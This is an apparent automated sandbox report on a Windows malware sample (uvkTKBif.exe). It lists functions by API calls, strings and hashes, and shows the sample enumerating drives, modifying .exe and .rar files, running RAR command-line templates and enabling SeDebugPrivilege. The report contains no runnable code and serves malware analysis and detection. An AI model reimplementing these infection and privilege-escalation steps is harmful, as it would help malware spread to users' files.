Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,00001800,00001000,00000004), ref: 007860BE
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,?), ref: 007860DF
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 00786189
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007861A5

Memory Dump Source

Source File: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: c59bb090aeca63b3b74aea5508e3d53d85bfbd023cda22e5dcb6054ee0eae71a
Instruction ID: ca28eef6275b6d48fa162ac88e2116495019094571dc94de629457782f68c987
Opcode Fuzzy Hash: c59bb090aeca63b3b74aea5508e3d53d85bfbd023cda22e5dcb6054ee0eae71a
Instruction Fuzzy Hash: FB1267B2588784AFDB329F24CC45BEA3BB0FF02310F1845ADD9898B693D778A910C755

Function 00782B8C Relevance: 10.6, APIs: 7, Instructions: 74
threadstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00782BA6
GetLogicalDriveStringsA.KERNEL32(00000050,?), ref: 00782BB4
GetDriveTypeA.KERNEL32(?), ref: 00782BD3
CreateThread.KERNEL32(00000000,00000000,00782B7D,?,00000000,00000000), ref: 00782BEE
lstrlen.KERNEL32(?), ref: 00782BFB
WaitForMultipleObjects.KERNEL32(?,?,00000001,000000FF), ref: 00782C16
CreateThread.KERNEL32(00000000,00000000,00782845,00000000,00000000,00000000), ref: 00782C3A

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: CreateDriveThread$LogicalMultipleObjectsStringsTypeWaitlstrlenmemset
String ID:
API String ID: 1073171358-0
Opcode ID: 46a9b1c7a8ca26f98e01667a62f3d56552d26277ea97d0765b69e4a3db6d43d5
Instruction ID: 76c55004224462a3a7c06d1f99935412dd51aa8ba0bb75cb5d1b3595598d83fe
Opcode Fuzzy Hash: 46a9b1c7a8ca26f98e01667a62f3d56552d26277ea97d0765b69e4a3db6d43d5
Instruction Fuzzy Hash: C421D5F188014DAFE720AF649C84DBE7F6DFB04746B240125F85292152E77C8D07CB65

Function 00781E6E Relevance: 44.1, APIs: 20, Strings: 5, Instructions: 380
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNEL32(?,00000080,?,007832B0,00000164,00782986,?), ref: 00781EB9
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,00000080,00000000), ref: 00781ECD
SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000002,00000000,00000000), ref: 00781EF3
CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00000000,00000000), ref: 00781F07
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000400), ref: 00781F1D
FlushViewOfFile.KERNEL32(?,00000400,?,00000000,00000000,?,00000000,00000002), ref: 0078201E
memset.MSVCRT ref: 007820D8
memset.MSVCRT ref: 007820EA
memcpy.MSVCRT(?,?,00000028,?,?,?,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 0078222D
UnmapViewOfFile.KERNEL32(?,?,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00782238
CloseHandle.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 0078224A
SetFilePointer.KERNEL32(000000FF,?,00000000,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 007822C6
SetEndOfFile.KERNEL32(000000FF,?,?,?,00000000,00000000,?,00000000,00000002), ref: 007822CB
SetFilePointer.KERNEL32(000000FF,?,00000000,00000002,?,?,?,00000000,00000000,?,00000000,00000002), ref: 007822DD
WriteFile.KERNEL32(000000FF,00784008,00000271,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 007822F7
WriteFile.KERNEL32(000000FF,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 0078230D
CloseHandle.KERNEL32(000000FF,000000FF,00000001,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00782322
UnmapViewOfFile.KERNEL32(?,?,007832B0,00000164,00782986,?), ref: 00782340
CloseHandle.KERNEL32(?,?,007832B0,00000164,00782986,?), ref: 0078234E
CloseHandle.KERNEL32(000000FF,?,007832B0,00000164,00782986,?), ref: 00782359

Strings

.@x, xrefs: 00782274
m@x, xrefs: 00781E8F, 0078225A
<@x, xrefs: 00782290
5@x, xrefs: 00782282
C@x, xrefs: 0078229E

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: File$CloseHandleView$Pointer$CreateUnmapWritememset$AttributesFlushMappingmemcpy
String ID: .@x$5@x$<@x$C@x$m@x
API String ID: 3043204753-786629586
Opcode ID: 315a0b724f8d3ebcfd930c7be065c7a18c24a60e31363311fa121c155f58b6aa
Instruction ID: 78fe19d44da31dd57bbfaf8d37e43f6f7189df7baafe1fb485578db56693f97b
Opcode Fuzzy Hash: 315a0b724f8d3ebcfd930c7be065c7a18c24a60e31363311fa121c155f58b6aa
Instruction Fuzzy Hash: 2EF18471980209EFCB20EFA4DC85AADBBF5FF08315F20852AE519A7651D738AD42CF54

Function 00781973 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 144
filesleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathFileExistsA.SHLWAPI(\Nx`Nx,00000000,C:\Users\user\AppData\Local\Temp\uvkTKBif.exe), ref: 00781992
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 007819BA
Sleep.KERNEL32(00000064), ref: 007819C6
wsprintfA.USER32 ref: 007819EC
CopyFileA.KERNEL32(?,?,00000000), ref: 00781A00
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00781A1E
GetFileSize.KERNEL32(?,00000000), ref: 00781A2C
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00781A46
ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 00781A65
CloseHandle.KERNEL32(000000FF), ref: 00781A90
DeleteFileA.KERNEL32(?), ref: 00781AA7
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00781AC1

Strings

\Nx`Nx, xrefs: 00781980
%s%.8X.data, xrefs: 007819E6
C:\Users\user\AppData\Local\Temp\uvkTKBif.exe, xrefs: 0078197C
C:\Users\user\AppData\Local\Temp\, xrefs: 007819DB

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: File$CreateVirtual$AllocCloseCopyDeleteExistsFreeHandlePathReadSizeSleepwsprintf
String ID: %s%.8X.data$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\uvkTKBif.exe$\Nx`Nx
API String ID: 716042067-2768251121
Opcode ID: 3ddfa7ec506f32279be0db4b180d6ea2c675be3a814f8bfa9fc62e10df888aa6
Instruction ID: 70b1ca12e2f598c63d0d46116c713236636371b2e098a9ee053855ceb87a4d35
Opcode Fuzzy Hash: 3ddfa7ec506f32279be0db4b180d6ea2c675be3a814f8bfa9fc62e10df888aa6
Instruction Fuzzy Hash: F3518E71D80209EFCB14AF98CCC8AAEBBBDFB04754F608569F515E2190D3389E41CBA1

Function 007828B8 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 100
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 007828D3
wsprintfA.USER32 ref: 007828F7
memset.MSVCRT ref: 00782925
wsprintfA.USER32 ref: 00782940

Part of subcall function 007829E2: memset.MSVCRT ref: 00782A02
Part of subcall function 007829E2: wsprintfA.USER32 ref: 00782A1A
Part of subcall function 007829E2: memset.MSVCRT ref: 00782A44
Part of subcall function 007829E2: lstrlen.KERNEL32(?), ref: 00782A54
Part of subcall function 007829E2: lstrcpyn.KERNEL32(?,?,-00000001), ref: 00782A6C
Part of subcall function 007829E2: strrchr.MSVCRT ref: 00782A7C
Part of subcall function 007829E2: lstrcmpiA.KERNEL32(?,Documents and Settings), ref: 00782A9F
Part of subcall function 007829E2: lstrlen.KERNEL32(Documents and Settings), ref: 00782AAE
Part of subcall function 007829E2: memset.MSVCRT ref: 00782AC6
Part of subcall function 007829E2: memset.MSVCRT ref: 00782ADA
Part of subcall function 007829E2: FindFirstFileA.KERNEL32(?,?), ref: 00782AEF
Part of subcall function 007829E2: memset.MSVCRT ref: 00782B13

strrchr.MSVCRT ref: 00782959
lstrcmpiA.KERNEL32(00000001,exe), ref: 00782974

Strings

%s\, xrefs: 0078293A
%s%s, xrefs: 007828F1
C:\Users\user\AppData\Local\Temp\, xrefs: 007829B3
rar, xrefs: 00782988
exe, xrefs: 0078296D

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: memset$wsprintf$lstrcmpilstrlenstrrchr$FileFindFirstlstrcpyn
String ID: %s%s$%s\$C:\Users\user\AppData\Local\Temp\$exe$rar
API String ID: 3004273771-898104377
Opcode ID: b874fdb3c490b82352250cb19f2d59c9e3367f5f3e42e4fa1e0acc8040afa35e
Instruction ID: 7954c89d1e0c8537a723b97b624743d110c9c2661f226b6e0af0ea36d9a45ea8
Opcode Fuzzy Hash: b874fdb3c490b82352250cb19f2d59c9e3367f5f3e42e4fa1e0acc8040afa35e
Instruction Fuzzy Hash: 9931A7B19C030DBBDB20B769DC8DFDA776CAB10711F140452F585B2082E6BCEAC68B60

Function 00781638 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 70
stringsynchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\,?,00000005,00000000), ref: 0078164F
GetSystemDirectoryA.KERNEL32(C:\Windows\system32,00000104), ref: 0078165B
GetModuleFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\uvkTKBif.exe,00000104), ref: 0078166E
CreateThread.KERNEL32(00000000,00000000,Function_00001099,00000000,00000000,00000000), ref: 007816AC
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000), ref: 007816BD

Part of subcall function 0078139F: GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\uvkTKBif.exe), ref: 007813BC
Part of subcall function 0078139F: LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 007813DA
Part of subcall function 0078139F: GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 00781448

lstrcpy.KERNEL32(?,C:\Users\user\AppData\Local\Temp\uvkTKBif.exe), ref: 007816E5

Strings

C:\Windows\system32, xrefs: 00781656
C:\Users\user\AppData\Local\Temp\, xrefs: 00781644
C:\Users\user\AppData\Local\Temp\uvkTKBif.exe, xrefs: 00781662, 00781667, 007816DD
Documents and Settings, xrefs: 00781696

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: CreateCurrentDirectoryFileLookupModuleNameObjectPathPrivilegeProcessSingleSystemTempThreadValueVersionWaitlstrcpy
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\uvkTKBif.exe$C:\Windows\system32$Documents and Settings
API String ID: 123563730-1852701786
Opcode ID: b68622019bce881a36d034a928d6d5c73c67975a623bf2f18441a53601e5daca
Instruction ID: ce9cb732d1721e75c4ef20387fead99c507f123a1a289832349655ad2005a0f4
Opcode Fuzzy Hash: b68622019bce881a36d034a928d6d5c73c67975a623bf2f18441a53601e5daca
Instruction Fuzzy Hash: AD112B715C0214BBDF2077A9ED4DE9B3E6EEF01761F604024F209950A0D6BC8941C7B5

Function 00782C48 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00782C57

Part of subcall function 00781973: PathFileExistsA.SHLWAPI(\Nx`Nx,00000000,C:\Users\user\AppData\Local\Temp\uvkTKBif.exe), ref: 00781992
Part of subcall function 00781973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 007819BA
Part of subcall function 00781973: Sleep.KERNEL32(00000064), ref: 007819C6
Part of subcall function 00781973: wsprintfA.USER32 ref: 007819EC
Part of subcall function 00781973: CopyFileA.KERNEL32(?,?,00000000), ref: 00781A00
Part of subcall function 00781973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00781A1E
Part of subcall function 00781973: GetFileSize.KERNEL32(?,00000000), ref: 00781A2C
Part of subcall function 00781973: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00781A46
Part of subcall function 00781973: ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 00781A65

CreateThread.KERNEL32(00000000,00000000,Function_00002B8C,00000000,00000000,00000000), ref: 00782C99
WaitForMultipleObjects.KERNEL32(00000001,007816BA,00000001,000000FF,?,007816BA,00000000), ref: 00782CAC
VirtualFree.KERNEL32(007E0000,00000000,00008000,C:\Users\user\AppData\Local\Temp\uvkTKBif.exe,00784E5C,00784E60,?,007816BA,00000000), ref: 00782CC2

Strings

C:\Users\user\AppData\Local\Temp\uvkTKBif.exe, xrefs: 00782C69

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: File$Create$Virtual$AllocCopyExistsFreeMultipleObjectsPathReadSizeSleepThreadWaitmemsetwsprintf
String ID: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe
API String ID: 2042498389-1505527310
Opcode ID: 5111764ea00a11e0e1e62d69975e2941aceed768272911921d0a3a74059f4f56
Instruction ID: ff9a60a355d08d32f0e0705c81f7a55735e9345a5ea7cf50bcbd9803ea1180ce
Opcode Fuzzy Hash: 5111764ea00a11e0e1e62d69975e2941aceed768272911921d0a3a74059f4f56
Instruction Fuzzy Hash: 750184B16C12207AD710BB95DC0EEAF7E5DEF01B61F608114F505D61C2E6E89940C7B4

Function 007814E1 Relevance: 4.6, APIs: 3, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 00781504
VirtualQuery.KERNEL32(007814E1,?,0000001C), ref: 00781525
ExitProcess.KERNEL32 ref: 0078157A

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: ExitHandleModuleProcessQueryVirtual
String ID:
API String ID: 3946701194-0
Opcode ID: b84e14a4d41abbf40e3683ea06135faa0f3464d7ebc695abf72aa5056ea4421a
Instruction ID: 8ef9542bd3698c18a4ede423e7151348a424437655ea8189b1d603d25722722d
Opcode Fuzzy Hash: b84e14a4d41abbf40e3683ea06135faa0f3464d7ebc695abf72aa5056ea4421a
Instruction Fuzzy Hash: ED1182B1AC0205DFCB10EFA5A88467D77BCFB84711B70C42BF502D2150D2BC8942DB65

Function 00781915 Relevance: 4.5, APIs: 3, Instructions: 41
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00781933
GetFileTime.KERNEL32(000000FF,?,?,?), ref: 00781947

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: FileTimememset
String ID:
API String ID: 176422537-0
Opcode ID: 9d83506d5a27cb1fc6e3b499810e0ec67821c52980364e17eea18af553c10660
Instruction ID: 83d73c012c458be6dff819606a9eff9fa3f24aeba726ff9f54fb1b37ee9f06a4
Opcode Fuzzy Hash: 9d83506d5a27cb1fc6e3b499810e0ec67821c52980364e17eea18af553c10660
Instruction Fuzzy Hash: A0F06832280249EBDB20EE26DC04FA777EDAB50761F508536F526D5050E734F646CBB0

Non-executed Functions

Function 0078119F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(C:\Users\user\AppData\Local\Temp\uvkTKBif.exe,?,?,?,?,?,?,007813EF), ref: 007811AB
OpenProcessToken.ADVAPI32(00000000,00000028,007813EF,?,?,?,?,?,?,007813EF), ref: 007811BB
AdjustTokenPrivileges.ADVAPI32(007813EF,00000000,?,00000010,00000000,00000000), ref: 007811EB
CloseHandle.KERNEL32(007813EF), ref: 007811FA
CloseHandle.KERNEL32(?,?,?,?,?,?,?,007813EF), ref: 00781203

Strings

C:\Users\user\AppData\Local\Temp\uvkTKBif.exe, xrefs: 007811A5

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentOpenPrivileges
String ID: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe
API String ID: 75692138-1505527310
Opcode ID: ce97cd8f47e31c9b6fe989d16c617ba895082f7014c2824657dc0ba738fe1cb6
Instruction ID: 448221835021b6f3829b3029cadbcfac74226db41c49de90aa604918085f3b97
Opcode Fuzzy Hash: ce97cd8f47e31c9b6fe989d16c617ba895082f7014c2824657dc0ba738fe1cb6
Instruction Fuzzy Hash: 270146B1940208FFDB00DFE8CD89AAEBBB9FB04704F208069E606E2250D7789F449F50

Function 0078139F Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\uvkTKBif.exe), ref: 007813BC
LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 007813DA
GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 00781448

Part of subcall function 0078119F: GetCurrentProcess.KERNEL32(C:\Users\user\AppData\Local\Temp\uvkTKBif.exe,?,?,?,?,?,?,007813EF), ref: 007811AB
Part of subcall function 0078119F: OpenProcessToken.ADVAPI32(00000000,00000028,007813EF,?,?,?,?,?,?,007813EF), ref: 007811BB
Part of subcall function 0078119F: AdjustTokenPrivileges.ADVAPI32(007813EF,00000000,?,00000010,00000000,00000000), ref: 007811EB
Part of subcall function 0078119F: CloseHandle.KERNEL32(007813EF), ref: 007811FA
Part of subcall function 0078119F: CloseHandle.KERNEL32(?,?,?,?,?,?,?,007813EF), ref: 00781203

Strings

C:\Users\user\AppData\Local\Temp\uvkTKBif.exe, xrefs: 007813A8
SeDebugPrivilege, xrefs: 007813D3

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: Process$CloseCurrentHandleToken$AdjustLookupOpenPrivilegePrivilegesValueVersion
String ID: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe$SeDebugPrivilege
API String ID: 4123949106-3566919073
Opcode ID: 741e09daa24e02107e8dc7fdfac3c0841e91c60e416d18a7360842e4ff81cf08
Instruction ID: 8c70d935d854c91bb4229ad3a90df8b195bbd04713ac221415b318e3ee848ce5
Opcode Fuzzy Hash: 741e09daa24e02107e8dc7fdfac3c0841e91c60e416d18a7360842e4ff81cf08
Instruction Fuzzy Hash: F0315071D80249EEDF60EBA5CC49FEEBBBCEB44705FA04069E508B2141D7789E46CB60

Function 00786D00 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dc641a110ca9df19878faaf737841f865a9904d38a7bb4b8f4adfe9b60eb3df
Instruction ID: 823b584ab3e0bd51bb11dbba976c9dbb61b0d4daf1366abb7777bd132d19b6c3
Opcode Fuzzy Hash: 1dc641a110ca9df19878faaf737841f865a9904d38a7bb4b8f4adfe9b60eb3df
Instruction Fuzzy Hash: 0D81A171244B418FC728DF29C890AAAB7E2FFD5314F14892DD1EA87751D738E809CB54

Function 0078239D Relevance: 56.2, APIs: 26, Strings: 6, Instructions: 239
sleepfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strstr.MSVCRT ref: 007823CC
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00782464
GetFileSize.KERNEL32(00000000,00000000), ref: 00782472
CloseHandle.KERNEL32(?,00000000,00000000), ref: 007824A8
memset.MSVCRT ref: 007824B9
strrchr.MSVCRT ref: 007824C9
wsprintfA.USER32 ref: 007824DE
strrchr.MSVCRT ref: 007824ED
memset.MSVCRT ref: 007824F2
memset.MSVCRT ref: 00782505
wsprintfA.USER32 ref: 00782524
Sleep.KERNEL32(000007D0), ref: 00782535
Sleep.KERNEL32(000007D0), ref: 0078255D
memset.MSVCRT ref: 0078256E
wsprintfA.USER32 ref: 00782585
memset.MSVCRT ref: 007825A6
wsprintfA.USER32 ref: 007825CA
Sleep.KERNEL32(000007D0), ref: 007825D0
Sleep.KERNEL32(000007D0,?,?), ref: 007825E5
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 007825FC
CloseHandle.KERNEL32(00000000,00000000,00000001), ref: 00782611
SetFilePointer.KERNEL32(FFFFFFFF,?,00000000,00000000), ref: 00782642
WriteFile.KERNEL32(?,00000006,?,00000000), ref: 0078265B
SetEndOfFile.KERNEL32 ref: 0078266D
CloseHandle.KERNEL32(00000000), ref: 00782676
RemoveDirectoryA.KERNEL32(?), ref: 00782681

Strings

%s\, xrefs: 0078257F
-ibck, xrefs: 007825BA
%s M %s -r -o+ -ep1 "%s" "%s\*", xrefs: 007825C4
%s X -ibck "%s" "%s\", xrefs: 0078251E
%s%s, xrefs: 007824D8
C:\Users\user\AppData\Local\Temp\, xrefs: 007823B1, 007823B6, 007824CD

Memory Dump Source

Source File: 00000002.00000002.3310449516.0000000000781000.00000020.00000001.01000000.00000006.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.3310402742.0000000000780000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310549234.0000000000784000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3310580419.0000000000786000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_uvkTKBif.jbxd

Similarity

API ID: File$memset$Sleepwsprintf$CloseHandle$Createstrrchr$DirectoryPointerRemoveSizeWritestrstr
String ID: %s M %s -r -o+ -ep1 "%s" "%s\*"$%s X -ibck "%s" "%s\"$%s%s$%s\$-ibck$C:\Users\user\AppData\Local\Temp\
API String ID: 2203340711-2750826870
Opcode ID: 402dbc4fbded457f63e415107a5256564a9bc7134e33c784c2409277ed914a0f
Instruction ID: a360259060e8900b394ca396aaa64790d53ce3b8ce111934b3ff8235656ce9f6
Opcode Fuzzy Hash: 402dbc4fbded457f63e415107a5256564a9bc7134e33c784c2409277ed914a0f
Instruction Fuzzy Hash: FF81F1B1584344BFD710EF64DC48EAB77ECFB84B05F10451AFA44D2091E778DA4A8B6A

Function 0078274A Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 83
fileCOMMON
